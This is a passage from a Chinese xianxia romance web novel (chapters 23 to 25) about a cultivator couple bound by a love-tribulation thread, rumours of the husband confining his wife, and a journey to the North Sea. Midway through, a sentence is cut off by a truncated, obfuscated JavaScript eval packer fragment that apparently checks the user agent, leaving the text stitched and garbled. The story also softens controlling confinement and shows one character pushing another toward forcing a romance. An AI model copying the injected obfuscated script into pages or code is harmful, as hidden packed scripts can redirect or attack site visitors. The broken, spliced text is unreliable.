李修竹伸出手,将她的泪擦干,可很快又有新的泪珠流下,这时他才意识到,她眼角的泪他怎么擦也是擦不完的,因为使她落到如今这个地步的正是他啊。 她这样痛苦,这样身不由己,他本该干脆将她的情劫丝解开,可是他却伸手将他揽到了自己怀里,说:“我有点疼,吻吻我吧,半夏。” 23. 第二十三章 宋半夏听见李修竹的话,怔了一下,先吻了过去,濡湿的唇印到了他的额头,那些话的意思才在她脑袋中翻译完全,立时睁了睁眼,捧住他的脸颦眉问:“疼?哪疼?” 她惊怒道:“是不是北海的伤还没好?” 北海之行虽然使李修竹失了忆、修为下降,若说有什么不可逆的伤,还是没有的。李修竹撇过脸去说:“没有。” 宋半夏将脑袋一歪,像是猫头鹰一样,眼神永远看着他,不解问:“那你哪里疼?” 李修竹被她硬生生把脸又掰了回去,一时间有些惊诧于她的手劲,羞愧之心倒是少了许多。他有些凌厉的眉眼抬着,额角的发垂着。 她的手被这张俊秀的脸衬得越发纤细了。 二人对视片刻。 宋半夏因为焦急没轻没重的手松了松。她心想,自己干嘛要这么担心,难道还真的跟她哥说的一样,她是个爱用热脸贴人冷屁股的人吗?都要合离了,还这么黏黏糊糊、拖拖拉拉,实在不像她的风格。 宋半夏因此要将手放下去,却被李修竹抓住了。 李修竹将她的手握在手里,一时无言,顿了顿,放到了自己胸膛前,说:“这里。” 宋半夏隔着衣服、流动的血液与骨骼肌肉,感到自己的手底下的心脏在顽强地跳动着,他的手附在她的手上,温热而虚握着。 她凝滞一瞬,呼吸变得不稳——他的话像是在调情。可当她抬起自己的眼睛,看到那双眼睛,又觉得纯粹是自己想多了。 温和的灵力亮起,将他的心跳变得平缓,使其呼吸缓慢。 李修竹原本以为自己会得到安抚,如今确实是得到了,不过并非是他想要的安抚,他的胸腔默默起伏着,随着她手上灵力的变化,心脏的跳动频率也变化着。这是医修常用的手段,用控制心跳的方式,来控制病人的情绪。 那些痛苦果然离他远去。 他甚至不再去想过去两人的相处模式,以及到底该怎样才能让她即便解了情劫丝也能留在自己身边。她眸中的那些繁杂的情绪到底是什么含义,其中有多少因为他而出现。 “合离……等情劫丝解了之后,剑君对未来有什么规划吗?” 咚。 像是有什么敲在了李修竹的神识之上,他正面对着她,看着她,目光没有半分偏移,甚至连假装没听见都无法去伪装。 那心脏仍然在她的控制下稳定跳动。 这使李修竹不得不怀疑,她是否故意为之。 “修炼、闭关。”他说。 和宋半夏想的一样,大抵这一百年间间,她的确拖累他许多。她点了点头,应了一声。 李修竹问:“你就那么想同我合离?” 宋半夏听到这话一时没法回答,她觉得,这话由她来问才更合适一点。但不知道为什么,反倒从他口中问出了口。她手中灵力消失,从他胸膛上放了下来,眼睫也垂下去了。 这是一个回避的姿态,证明她并不想回答这个问题。李修竹明亮的眼睛瞬间暗了暗,他不愿意去逼迫她再说些言不由衷的话了,怕自己做出更多不得体的事情,他吸了口气,叹气起身道:“你这样真的很打击别人的自信心啊。” 宋半夏抬了抬眼,看到他将手伸到了自己面前,她张了张嘴,被他抬了抬手催促,只得先两手放到了他的掌心中,被他拉起站到了地上,见他要转身出门,忙跟上,说:“我又不是那个意思。” “不是那个意思,那是哪个意思?”李修竹不太想讨论这件事,怕她又说出什么气死自己的话。 宋半夏往他那边依了依跟着他往前走,连忙紧说两句:“总之不是你想的那个意思。” 闻言,他侧眸看了她一眼,又将目光收了回去,没说话。她能知道他想的是什么意思吗?如果知道,恐怕只会更加厌恶他。 裴城的饭是吃不成了,惦记着北海那个妖修,众人匆匆上了灵舟。 岳子昂并没有离开此地,而是等到宋半夏出门后上灵舟前匆匆找到了她,远远的,就听到有人的声音从远处传来:“前辈!宋前辈!” 率先停下往灵舟上走的脚步的人是孟灵,她耳朵尖,对一切都反应迅速,加之众人因为从闻奈口中得知宋半夏情劫丝还没有彻底解完,各怀心思,气氛沉重而无人讲话,所以当岳子昂喊出声后,她第一时间就听到了。 扭过头,天边一道青色身影渐进,她叫了宋半夏一声。 即将进入灵舟结界的宋半夏停住脚步,朝孟灵看去,孟灵朝远处抬了抬下巴,宋半夏这才看到了岳子昂。 岳子昂匆匆赶来,有些气喘,飞剑绕了一圈,收回腰间,往前走了两步,朝灵舟众人拱了下手,他后面,刘丁香和葛琼慢了几息落下,皆匆匆朝众人行了礼。 “宋前辈,可否借一步说话?” 闻奈和孟灵同时颦了颦眉,唯有叶晃抱着怀里的刀,瞥了面无表情的李修竹一眼。 当宋半夏的目光朝李修竹看去的时候,李修竹那桀骜的眉眼立刻化了,变成了一副十分人平易近人的模样,道:“怎么了?” “……”叶晃冷冷道,“你要想去就去,不想去就不去,询问他做什么?情劫丝难道彻底把你变做他李修竹的提线木偶了不成?” 大抵是用刀,所以叶晃说话颇有些支楞且噎人,但通常十分讲道理。 李修竹眉眼僵了一瞬,虽说早就从闻奈口中得知,一百年后的叶晃跟他的关系已经可以到了剑拔弩张的地步,但叶晃说出这番话之后,他还是忍不住想提剑揍人。 逍遥剑察觉到李修竹的想法,在一旁振了下剑。 闻奈抓住了叶晃的胳膊低声警告:“少说话。” 马茯苓看了一眼宋半夏的神色,眉目里不□□露出了一些担忧。她身边的马忠只看着她,瞧见她蹙起眉头,这才顺着她的目光看向宋半夏。 实际上,马忠这些年也常同李修竹等人合伙去降妖除魔,有三个原因,其一是为报恩,其二是李修竹在场不会有什么太大危险,其三就是他要养家糊口。 ——马茯苓是个坚韧的性格,对清贫的生活也适应的十分良好,但马忠总觉得这是不对的,他的小姐,该拥有更好的、甚至是最好的东西。虽然马茯苓经常把他赚来的一部分佣金捐赠给镇子上的孤儿与老弱,但马忠对于赚钱给她这件事乐此不彼。 或许正是因为这样,他亦听了不 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她往灵舟下折返,被马茯苓抓住了胳膊,马茯苓眉头紧皱着,眸子里全是担忧,以及无法说出口的劝诫。虽然不知道那劝诫何来,但宋半夏罕见没有讨厌这劝诫,大抵是她担忧的神色太过浓重了,被这样一位温柔的女子所担忧,很难令人产生不适。 “半夏。”马茯苓欲言又止。岳子昂的心思在场的众人有一个算一个全看的出来,现在去见他,恐怕李剑君不知道心里会怎样想。只是眼前的人,似乎没能从她的双眼中得知这复杂的信息。 宋半夏拍了拍她的手,示意她松手,说:“没事,我一会儿就回来。” 她见马茯苓松开手,转头下了灵舟,没看见身后李修竹对着岳子昂沉下去的眼睛,自然也察觉不到灵舟上开始蔓延的古怪氛围。 宋半夏觉得岳子昂这人虽然有些古怪,但并不讨人厌,大概是太过直愣愣了,所以有些话说的欠妥当。好歹也叫她一声前辈,而且还邀请过她组队,所以还是下去看看他有什么问题好了。 岳子昂似乎有些紧张,身上的衣服也换了新的。 宋半夏刚走到他面前,葛琼和刘丁香却全部后退了一步,让她脚步顿了顿,看向岳子昂问:“你找我有什么事?” 岳子昂看了一眼灵舟,又看了看显然不会跟他向远处去的宋半夏,伸手从腰间拿下了一个隔音法器。 “拿它做什么,你直说就是了。”宋半夏反应很快地道,“你修为不够,即便是使用隔音法器,也很容易被偷听,不如大大方方地说出你的事情。” 岳子昂迟疑了一瞬,听从了宋半夏的话。 “宋前辈,你当真要合离吗?”他问。 话落地,飞舟上的闻奈闭了闭眼,这小孩,真是绝了,真当大名鼎鼎的逍遥剑剑主是个什么良善的人不成?李修竹砍人如切瓜的时候,连一众世家也得避其锋芒,也就是修为高了,没人敢惹了,所以才显得他良善许多。 灵舟上鸦雀无声,叶晃嗤了李修竹一声,不再继续看下去,转头进了仓内。 宋半夏奇怪问:“我合不合离,这很重要吗?” 24. 第二十四章 合不合离不重要,重要的是她想不想合离。 岳子昂来这里也是做了足够大的心理建设的。当初在小院,看着她昏过去,岳子昂脑子都懵了。他刚要上前,就见到李修竹一把抱起宋半夏,匆匆离去。 而当从众人口中得知宋前辈就是中洲宋家的大小姐宋半夏后,他很久都没能缓过神来。 宋半夏其实在修仙界并不出名,但要提及那个没法吸纳天地灵气修炼的宋家大小姐,大家就都有点印象了。再提及逍遥道剑君李修竹的夫人,大家就完全清楚那是谁了。 作为现任逍遥剑的剑主,李修竹要娶妻的事情在百年前曾为人盛谈。毕竟李修竹并非自愿娶的,而是迫于情劫丝所娶宋家女。大家本以为顶多二三十年,这情劫丝解了,二人的婚约也就散了,谁知道迟迟没有二人合离的消息。拖到第一百年,大家都已经不再热衷于讨论这件世家大族小姐和逍遥道大能的错点鸳鸯的戏码。 倒是前些年,隐隐约约传出了,李修竹囚禁宋家女的消息。但岳子昂听闻只是一笑而过。——这听起来就不像真的。 谁知道,竟然让他在仙盟遇到了这位在传言中从不被提及名字的‘宋大小姐’。 她看起来,实在不像是世家出身。 倘若是,也太过随和而平易近人了些。 岳子昂道:“晚辈知道自己说的话或许很冒昧,也想了很长时间,到底要不要来宋前辈面前询问。” 宋半夏站在原地,拧了下眉,眼前少年模样的人看起来很紧张,这让她知道他要说出的话恐怕对她来说不是什么好事,但毕竟已经下了灵舟,她又舒展眉毛干脆道:“行了,已经足够冒昧了。就不要再拖拖拉拉了。” 看到岳子昂怔愣的神情,她弯了弯唇,说:“我都已经到你面前了,说明只要我可以回答你的事情,一定会告诉你的。问吧?” 灵舟上,宋半夏看不到的地方,李修竹的脸已经变得极为冰冷。闻奈毫不怀疑,如果不是宋半夏在底下,逍遥剑此刻已经捅进岳子昂的身体了。 气氛太过压抑,闻奈拿胳膊肘戳了一下李修竹,道:“收敛一下你的表情,当心半夏看过来。” 李修竹颦眉:“你叫她半夏?” “……”闻奈对于李修竹这种回家前信誓旦旦要合离,回家后跟护食的狗似的玩意绝望了,“嫂子……我是说半夏嫂子,行了吧?” 闻奈深深地叹了一口气。 底下,宋半夏隐隐听到灵舟上,有人在叫她的名字,果真回头看了一眼,只是没有发现什么异常。 宋子昂顺着她的目光看了一眼灵舟,看到了上面的李修竹,他犹豫过后攥住手掌仍问:“那还请宋前辈先回答我之前的问题。” 宋半夏颦了下眉,刚想抱起胳膊,又想到李修竹在看着呢,遂道:“我自己都不清楚,如何回答你?等北海一行结束后,或许吧。” 宋子昂三番四次问她合离的事情,已经让宋半夏感到有些许的生气了。怎么他倒像盼着她合离似的?她心里疑惑,难道这家伙是李修竹的什么脑残粉? 确实,有一部分孤寡剑修觉得成婚会使剑‘生锈’,而李修竹成婚后降落的修为更印证了这句话,因此他们觉得李修竹该趁早摆脱她。就像宋半夏的那个疯狂的粉丝一样,希望她早点摆脱李修竹。 不过宋子昂很快问出了那个只有宋半夏的粉丝才会问出的问题:“我听闻李剑君曾将前辈囚禁在自己庇护的地方,不知是真是假?” 灵舟上马茯苓睁了睁眼睛,霎时扭头看向李修竹。——她未曾听说过这件事。 李修竹听到那问题的刹那顿时僵了僵,往前不自觉跨了一步。 马忠感到了危机,侧头看了他一眼。 闻奈又想叹气了。他实在是不知道李修竹这孽缘,究竟是从什么时候开始的。明明李修竹最讨厌世家做派,却费尽心机娶了一个明知会牵绊住他的世家女,还不辞辛苦从南海找到了那双修功法,来延长其寿命。而做了这些,却仍不足够,甚至以担忧为名将宋半夏困在了自己宅院里,即便出门也要她携带自己特制的追踪定位法器。 别说叶晃,就是孟灵听说了这件事,险些也和李修竹闹掰了。那实在不是什么好人能干出来的事。 所以,除了孟灵,大家都觉得,等到宋半夏的情劫丝解开,就算不捅他个两三刀,合离铁定是跑不了的。 “你听谁说的这件事?”宋半夏简直要扶额了,“这谣言传的也太广了吧。” 话落,不止宋子昂三人怔住了,灵舟上的一群人也怔住了。 “没有这件事吗?”宋子昂问,“可我听说……” “你听说了什么?” 宋子昂沉默了。 宋半夏十分干脆地道:“从来没有这回事。你也不想想,李剑君好歹也是鼎鼎有名的逍遥道剑主,若他真做出这样的亏心事,难道神剑逍遥会同意吗?” 宋子昂拧眉思索了一阵说:“好像……确实。” 逍遥剑之所以被称为神剑,逍遥剑主之所以能被称为飞升预备人选,这都是因为逍遥剑有规劝主人的原因。 灵舟之上,李修竹身旁飞着的、气势汹汹的逍遥剑听到这话,剑上的穗子不飘了,半晌,落了下去。 神剑心想,怎么扯到它身上来了啊! 李修竹瞥了逍遥剑一眼,逍遥剑在半空中静了片刻,悠悠达达地飞走了,看起来好像是在以实际行动划分二人界限。 底下,宋子昂结结巴巴道:“可是……” “可是什么?” 宋子昂这下有些失去了勇气,看了一眼身后的刘丁香二人。 一直在后面站着的刘丁香往前走了一步,目光如炬说:“我们打听过,您和李剑君成婚的前三十年,一直没有在修仙界露面,而且李剑君谢绝任何人去寻找您,这难道不算囚禁吗?就算如今您有了自由,也不代表从前没有被囚禁过吧?您仔细想想,或许这种囚禁极为隐蔽呢?” 宋半夏怔了怔,确实回想起来了某些事情。 比如除了第一天她自己早起晃出了宅子,后面宅子就升起了层层叠叠的法阵,李修竹说那法阵原来就有,只不过成婚那天镇上之人要来参加婚礼,所以就撤去了,如今婚礼结束,自然就重新升起来了。 那复杂的法阵导致宋半夏一开始摸索了很久,直到带上了李修竹给她的定位玉佩。 她回头瞅了灵舟上的李修竹一眼。 李修竹穿了一身玄金色的衣服,头发拿竹钗束起,正看着底下的她,眸光深深,见她望过来,抬了抬眉眼,似乎想说什么,可又隔了太远距离。 宋半夏一时心脏缩了缩,疑心是黑色显瘦,不然他怎么看着单薄了许多,脸也苍白着。 她转过头对宋子昂三人道:“没有的事。我好歹也是宋家大小姐,他敢那么做,宋家饶不了他。” 刘丁香颦了下眉,还想再说什么,被葛琼拦住了。 葛琼拱手道:“是我们冒犯了。” 宋半夏倒并没有生气,因为他们三人明显是出于对她的担心,而且他们既然敢当着李修竹的面问出这些话,也肯定抱了很大的决心。 这种光明正大的询问,亦说明了他们是耿直之人。 “还有什么事情吗?”她问。 葛琼道:“除此之外没有了,望前辈见谅。” “你们也是好意。” 宋半夏告别三人,回到了灵舟之上,灵舟上的目光一时间都集中在了她的身上,她往前迈步的脚顿了顿,奇怪问:“怎么都这么看着我?” 马茯苓揪了揪手:“你没事吧半夏?” 她这副模样,让宋半夏觉得,自己刚刚不是下去友好地回答了三个晚辈的话,而是去什么龙潭虎穴打了一架。 “我能有什么事。”宋半夏往李修竹身边走去,“你们怎么都在甲板上站着,怎么,偷听我说话啊?” 闻奈打‘哈哈’说:“这不是多年没见,盼着你赶紧上来好叙话嘛。” 宋半夏瞥了他一眼:“孟灵他们说这话对,你说这话可不对,咱们不是年年碰头?尤其是这两年?”她的脉都是让他把的,可能是这两年情劫丝到了最后期限,所以闻奈去的频繁了些。 孟灵性子直,从不吞吞吐吐,直问道:“你真要和李修竹合离?” 闻奈一个激灵,心想,这位大小姐怎么也哪壶不开提哪壶啊! 宋半夏对于孟灵这句问话早有预料,因此并不慌乱,走到了李修竹身边撒娇一样挽起他的胳膊,面对众人说:“这不还要看李剑君的意思,是李剑君要跟我合离嘛。” 李修竹被她揽住又听她说这话僵了僵身子,既不敢反驳,又不敢赞同。他觉得宋半夏其实就是想跟他合离,但又不好直说,便扯出他来做大旗。这个大旗,想做不想做都得做。 他心甘情愿当她的挡箭牌,但又很难不觉得被刺痛。 于是只好沉默着,任由她说着。 看着这一幕,马茯苓秀气的眉毛颦了颦。 宋半夏侧头看了看李修竹,看到他没什么情绪的面容,有些奇怪,但很快将这奇怪甩到了一边。 孟灵扫过宋半夏,又扫过李修竹,抱着胳膊,面色不太好。 “行了,还有事嘛,没事散了吧。” 宋半夏说着,拽着李修竹往船舱中走去。 李修竹脚步有些踉跄,被她一路拽到了房间内,门关上,他望向她。 宋半夏眸光闪闪,伸出了一只手来说:“好了,你现在可以说放了什么东西在你的芥子里面了吧?” 李修竹松了一口气,侧头将芥子里的食物一一拿出来。 宋半夏其实有所预料,但当看到真是给她买的美食,还是开心极了,连连日的怨气都消解了不少。 她伸出手拿起一块糕点啃了一口,又伸出另一只手,再拿起另一个桂花米酒喝了一口,眯着眼睛说:“好喝!” 李修竹看了她一眼,低头继续往外拿着东西,饭店里的菜,因为在芥子中保存着,所以还是热腾腾的模样。 他一边放,一边说:“少喝点酒,别喝醉了。” 他不信任她的酒量,犹记得她一杯就倒的战绩。 “嗯嗯。”宋半夏应声,又喝了一口。 喝完,她拿着东西,看着李修竹的侧颜歪了歪头。 船舱的小屋寂静,外面的声音被隔绝着,特意开辟的窗户半掩,从窗户里朝外望,能看到蔚蓝色的海洋一样的天空,偶尔飘过去的白云像是大海里的水母。 “剑君,咱们刚成婚的时候,你是不是真的限制过我的行踪?” 放东西的李修竹滞了滞,手指尖的油纸滑腻。他露出了惊诧的神情,转头朝她看来,本就不够舒展的眉毛瞬间颦起,站在原地,哑然无声。 宋半夏头上的钗子坠了珠花,因此不断晃动着,将她美丽精巧的面容衬托地尤为好看。 轻轻浅浅的菡萏花的香气萦绕着船舱内的屋子,将李修竹的衣襟也浸染。 比起修仙者,很多时候,她更像是一朵化形的菡萏花,摇曳着生辉,巴掌大的脸白净,上挑的眼尾带着一点妖气。 “我仔细想了想,确实,一开始你说院子里的法阵危险,如果想出去,得先熟悉路线,然后要教我认法阵,认了许久我才认会一半。我可是没有修炼天赋的家伙,你这不就是故意为难我吗?” “没有修炼天赋,不代表没有认法阵的天赋……吧。”李修竹说的犹犹豫豫,好似怕她生气。 宋半夏眯着眼睛看了他片刻,点了点头,说:“好像也有道理。” 李修竹这才敢把手里的东西轻轻落到了桌子上,他看宋半夏不再质问,而是低头去吃东西,心里又像被猫抓了一样,试探性的去询问:“你……你是不是很厌恶当时不能出宅子的日子?” 宋半夏吃的面颊鼓鼓的,正分析着嘴里尝到的东西是用什么原料做的,听了这话,抬头眼睛十分无辜的睁了睁,然后在李修竹的注视下缓慢眨了眨。 厌恶? 她当时根本没发现。 口中的东西咽下去,宋半夏斟酌着话,说:“当时有剑君陪着我……而且我也不是不能出宅子,咱们不还在镇子里晃悠来着?” 李修竹想了想那巴掌大的破镇子,心说,那不还是囚禁在一隅之地吗? 可能是看李修竹太过沉默了,宋半夏干脆道:“算了,我也能理解剑君。” 这话让李修竹凭空呛了一口唾沫,吃惊抬眸看向宋半夏——她能理解?怎么理解的?他自己都理解不了百年前的自己! 宋半夏道:“我当时基本跟凡人没什么两样,若是自己出门,难免会有危险。何况当时就是有人想对付你才给我下的情劫丝,我待在镇子里和宅子里对所有人都好。” 说到这里她纳闷道:“其实我到现在还没搞明白,到底那个家伙为什么要给我下情劫丝,难道是笃定你是个责任心重的认,一定不会不管我?” 还是笃定宋家一定会因为她难为李修竹? 李修竹一时间有些没反应过来,责任心重,虽说他平常也常这么不要脸地夸赞自己,但这个词……跟他似乎没什么太大缘分。因此,他有些怀疑,宋半夏口中的剑君真的是叫的他吗? 宋半夏伸出手指,戳到他的脸庞,挪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他提着酒杯,垂眸看着她,说:“你骂我一句,狠狠的骂,不要跟撒娇一样。” 宋半夏觉得莫名其妙,张了张嘴,又闭上,说:“我干什么要那么做,我才不。” 李修竹伸手,修长的指节抬起她的下巴,让她看着自己。 那双漂亮的眸子里出现片刻慌乱。 “骂。”他说。 宋半夏说不出来,胸腔起伏,往旁边撇了撇脸,却又被他拿手扳了回来。 “骂不出口,就说明你一直难以摆脱情劫丝的控制,否则,为什么骂不出口?” “我……”宋半夏垂下眸子,眼神变换,忽然皱起眉来,抬头,想狠狠骂他两句,证明自己绝没有一直受控于情劫丝,可是看到他的脸脑袋里就一片空白,当真骂不出任何话来。 她心里也出现了一丝疑虑,难道自己真的被情劫丝潜移默化地操纵着? 李修竹向后一步,退开了。 屋内静了片刻,他说:“先吃饭吧。” 二人之间没有办法坦诚的事情实在是太多了,以至于说出的话,也难免失去了自己本来的意思。 宋半夏看着他,有些生气地咬了咬唇,坐到了桌子前,品尝美食。 她品尝食物是很认真的,从舌尖到舌根,分析出食物的用料和做法,记录到自己的本子上,并画下食物最漂亮的样子,整理成文章。 李修竹见她这么认真,悄悄地出了门,去到甲板上静坐。 闻奈也在,拿着一杆鱼具垂钓着。 原来灵舟不知何时落了下去,落到了宽阔的江面上,周围群山环绕,猿声虎啸不断。 闻奈:“过了此地,就到北海范围了。尤家家主前段时间还邀你一同去开新秘境,你要不要去打声招呼?毕竟是尤家,跟青云宗还是说的上话的。” “去收拾一个妖修还要借尤家的势力。”李修竹一撩衣袍坐了下去,“什么时候本尊竟然落到了这种地步了?” “把事情闹大了总归不好,到时候李自秋那家伙又要头疼了。” 李修竹:“他顾不上这边了,倘若蓬莱失踪的弟子们真的入了菩提幻境,这对修仙界来说是个毁天灭地的大麻烦。” 闻奈颦了下眉,将手中鱼竿往下放了放:“你觉得真的有可能是菩提幻境吗?” “难说。” 闻奈:“你之前不是入过菩提幻境?一点记忆也没了吗?” “全丢了。”李修竹说着顿了顿,“不过,最近有想起些以前的记忆。” 闻奈看了他一眼,李修竹伸出手,闻奈的灵丝搭到了他的脉上,很快收回,将鱼竿快速提上了,鱼钩空荡荡,鱼跑了。 他叹了口气,说:“没看出有什么大毛病来,但……”他拧眉,“你怎么有要入魔的迹象?” 李修竹不以为意:“这不是还没入魔。” 闻奈:“你现在对半夏到底是个什么想法?” 李修竹闭阖着眸子说:“你该叫嫂子。” “我一直都是叫半夏,不信你问你媳妇。” “现在改。” “……” 李修竹说:“我刚刚问了,半夏她说她不在意之前的软禁。” 闻奈吸了一口气,瞪眼看他,李修竹无动于衷,他无语地将头扭回去,说:“我劝你想清楚。宋家可不是什么好惹的。你之前对付他们,是没戳到他们死穴上。他们族里的老祖也就睁一只眼闭一只眼了。要是你真的因为宋半夏跟宋家撕破脸,不说宋半夏她哥,就是她爹娘也铁定跟你拼命。” 李修竹睁开了眼说:“我倒不知道,我这小妻子,在宋家还挺有人缘。” “你说的这是人话吗?”闻奈骂道,“人家那可是血脉相连的亲人。宋半夏嫁给你,你没见到那十里长的嫁妆?虽说你媳妇在修仙上没什么天赋,但是宋家可没把她当什么弃子。” 这同李修竹回忆起的记忆有些不一样,他不免有些不解。 闻奈:“还有北海那几个家伙,前两天还给我来信,询问宋半夏的情况,你要是在执迷不悟下去,恐怕他们忍不住也要来掺一脚了。不说其他,就是给宋家寄封信,告诉当年那情劫丝是怎么来的,也够你喝一壶的。” “情劫丝怎么来的?”后面传来犹豫的声音,给闻奈吓了一跳。 他和李修竹争执的太过投入,以至于竟没发现后面马茯苓来了。 25. 第二十五章 马茯苓被闻奈搪塞过去了,但心里却仍有些介怀与不解。毕竟那个当初下情劫丝的人,宋家找了许久都没找到。而听闻奈的意思,好像李修竹他们是知道情劫丝是谁下的一样。 她满怀心事往船舱中走去。 路过宋半夏的房间,看到她正在一堆食物面前低头写写画画,外面的光从琉璃窗户里映入,让她看起来不像凡尘中的存在。 马茯苓敲了敲门:“我能进来吗?” 宋半夏抬头看到她露出了惊喜的神色,说:“进!我刚想去找你呢。给你瞧我新发现的好吃的。” 二人虽然性格不同,但没想到竟然一拍即合,马茯苓对于宋半夏写的食谱提出来了修修改改的意见,宋半夏决定在这次报刊上为马茯苓也署上名。 谈了一会儿美食,马茯苓感慨:“你的性格比我想的要好多了。” 宋半夏斜了她一眼说:“你认为我是什么性格?” 马茯苓哽住,有些结巴,说:“我……” “行了,”宋半夏噗嗤一笑,“跟你开玩笑呢。” 瞧马茯苓这样子,她有些怀疑马茯苓当初不愿意对她哥下手是不是也有她的原因——怕不是觉得她不好相与? 马茯苓松了口气,说:“我知道。” 宋半夏没再逗她。 马茯苓看着宋半夏,却好像有些纠结,询问:“当年给你种下情劫丝的人还没有找到吗?” 提及这件事情,宋半夏面上的笑落了落,摇了摇头,又想到刚刚李修竹的话,不清楚李修竹到底是什么意思。 他的态度模糊,让她心里十分焦躁。 宋半夏心想,想合离就合离,不想合离就干脆说不想合离,可他那个样子,到底是想还是不想?若要她张开嘴问,她又怕他误会。 马茯苓:“李剑君他们找了那么久,一点消息都没有吗?” “没有。” “一点也没有?” 宋半夏从这话中嗅闻到一种不自然的语气,她抬头看向马茯苓,马茯苓仍是那副温顺低眉的样子,看向她时有些犹犹豫豫的迟疑。 “怎么?”宋半夏问,“你是……有什么线索吗?” 话问出口,她自己都觉得好笑。 马茯苓不说已经失去马家的庇护,就算没失去马家庇护之前,也完全不可能比她还要消息灵通。 果然,马茯苓摇了摇头说:“我只是觉得奇怪,无缘无故,为什么有人要给你下这个情劫丝?” “我也觉得奇怪,奇怪了一百年了,反正也没坏处,就不纠结了。”宋半夏说,“等到剑君抓到了那个北海妖修,报了失忆的仇,这个情劫丝也就解了。” 马茯苓颦了颦眉说:“现在情劫丝已经开始影响你的身体了,为什么不现在一口作气解开?” 宋半夏被她问的一怔,努了努嘴,想给自己找个暂时不解开情劫丝的理由——总不好说怕情劫丝解开了,李修竹就会立刻丢下她跑路吧? 那她多没面子。 马茯苓一开始明显是认为她有个美满幸福的家庭,现在因为她之前在别人面前先一步提出来了合离,所以她顶多认为是她不喜欢李修竹,而不是李修竹不喜欢她。 “我……嗯……”宋半夏支支吾吾。 ——她一度觉得自己这就叫打肿脸充胖子。 好在没等她抓耳挠腮,马茯苓自动将话接了下去,问:“半夏你不想解开也情有可原,但为什么李剑君也不着急解开呢?” “?”宋半夏十分吃惊,安静半晌,小心翼翼问,“我……你知道我不想解开的原因?” 她有些挂不住面子。 马茯苓说:“对啊,半夏你不是想合离吗?既然讨厌李剑君,自然不想跟他做那个事了。” “……”宋半夏板住了脸没有说话。 她心想,很好,就这样想她好了。 马茯苓似乎有些愤愤不平:“李剑君做的实在是太不对了!” “怎么个不对法?”宋半夏谦虚下问。 “半夏你身上有情劫丝的副作用都想和李剑君合离,可见他的的确确做了很多不对的事情。” 宋半夏觉得自己还是得给李修竹解释一二:“那倒也没有。” 马茯苓说:“那你为什么要合离?我不信真的是甲板上你说的话。” “你还是信吧。”她说。 马茯苓怔愣了一下,二人面面相觑,宋半夏尴尬地清了清嗓子。 为了使马茯苓从合离这件事上跳过去,宋半夏说:“你不要光说我了,你和马忠是怎么回事?你跟家里决裂,不会是因为他吧?” 她的话题转移的很顺畅。 马茯苓立刻忘了跟她说李修竹的事情,像被火烧似的,当即从凳子上站了起来,瞪大了眼睛说:“当然不是!” “一丝一毫也没有?我看你二人明明颇有情意。” 马茯苓:“我当时离开家里,那是因为……那是因为……”她重复了两遍,“总之当时肯定不是因为他!我当时最讨厌的客卿就是他了!” “当时。”宋半夏弯了弯嘴角,“那现在呢?现在变了吧。” 马茯苓僵了僵,耳尖红了。 确实变了。 她站了片刻,泄气般坐下,伸出纤细的手指在桌子上挖了挖,说:“我变了又能怎么着。” “我看马忠对你也很有情意啊。”宋半夏说,“而且,不像是一般的情意。” 马茯苓抬眉说:“他表现那么明显,你都看出来了,难道我还看不出来?” 她抱怨说:“一开始我的确是很讨厌他。我以为他是家里的走狗,成日里见了面还板着一张脸,说话也冷冷的,每次我做点出格的事,他都在旁边跟别人一起阻拦我。” 后来,没想到,马茯苓要跟家里断绝关系的时候,他竟然冒死来帮她逃跑了。 如果不是李修竹,可能马忠真的会死在她家族的围攻之下也说不定。 从那时起她对他就没那么厌恶了。 逐渐的两人相处日久,她也就生了情意。 宋半夏看她这副纠结的样子,歪了歪头,手拄在自己下巴上,说:“要不要我帮帮你?” 马茯苓抬了抬头:“怎么帮?” 说实话,作为曾经帮自己老哥追到了自己嫂子的狗头军师,宋半夏对自己的操作很有信心。 虽然在对付李修竹一事上,她脑子和自信心都丢了,但一提到别人的事,她不知道从哪里生出来了虎胆,当即要指点指点。 她伸出了一根手指,放在马茯苓面前,好似颇有经验地道:“世界上有一个词,叫做生米煮成熟饭。” 马茯苓眼睛忽闪起来,她倒也不是没有考虑过这件事情,只是……“这不太好吧?” “有什么不好的?”宋半夏说,“他不是喜欢你嘛?你刚刚自己都说了。” 马茯苓只觉得这不太对,但也说不出哪里不对来,最后,还是听从了宋半夏的强烈保证的推荐。 宋半夏纯粹是敢说敢撺掇别人做自己不敢做,对于这种别人的恋爱纠结,宋半夏表现得十分积极,很快就制定了一个极为胆大的计划。 * 下了灵舟,众人并没有直接去青云宗,而是在青云宗山下的镇子处落脚,顺便跟线人接头,打听了一下阎八荒的下落和情况。 北海地界,多妖修,街道上过路的小孩甚至有头上长耳朵的人。 宋半夏喜欢待在一个地方不动弹,但是出来了却也并不怵头,带着放不开的马茯苓从街上的一个摊子,闲逛到一个又一个的摊子上。 “你吃这个。”她安利道。 叶晃是没什么逛街的热情的,刚下飞舟,一溜烟去了当地的仙盟驻地。 李修竹虽说是来逮人,但把宋半夏带出来,就是怀揣着想要在有限的时间里拉她好感度的想法,所以自然乐得跟在她身后晃悠。 孟灵对逛街也没什么热情,两三步走远了,朝前面的客栈而去。 闻奈匆匆跟上了孟灵。 马茯苓看了一眼后面的马忠,扯了扯宋半夏的衣袖。 宋半夏胸有成竹:“别怕,包在我身上。” 马茯苓悄悄点了点头。 李修竹问:“谈什么呢?” 宋半夏回头看了他一眼说:“我们女子的秘密,你别管。” 李修竹笑道:“好,我不管,那你这东西……”他抖了抖自己手上,宋半夏丢给他的一堆小吃,“我也不管了吧。” 宋半夏连忙上前,摁住了他的手,不让他继续晃,眼睛睁大,想了半天,说:“我说,等一会儿要抽空给报社北海分社的社长去送新稿子,问茯苓要不要跟我一同去呢。” 李修竹:“为什么不叫我陪你去?” “咱们不是来报仇的吗?”宋半夏说,“你不去跟线人接头?” “接个头,又不用耽搁太长时间。”李修竹说,“难道你不想同我去?”他仔细看着她的神情。 “哪有?”宋半夏道,“行,那等会儿你陪我去好了。” 李修竹这才满意,拎着宋半夏的东西,慢悠悠往前走。 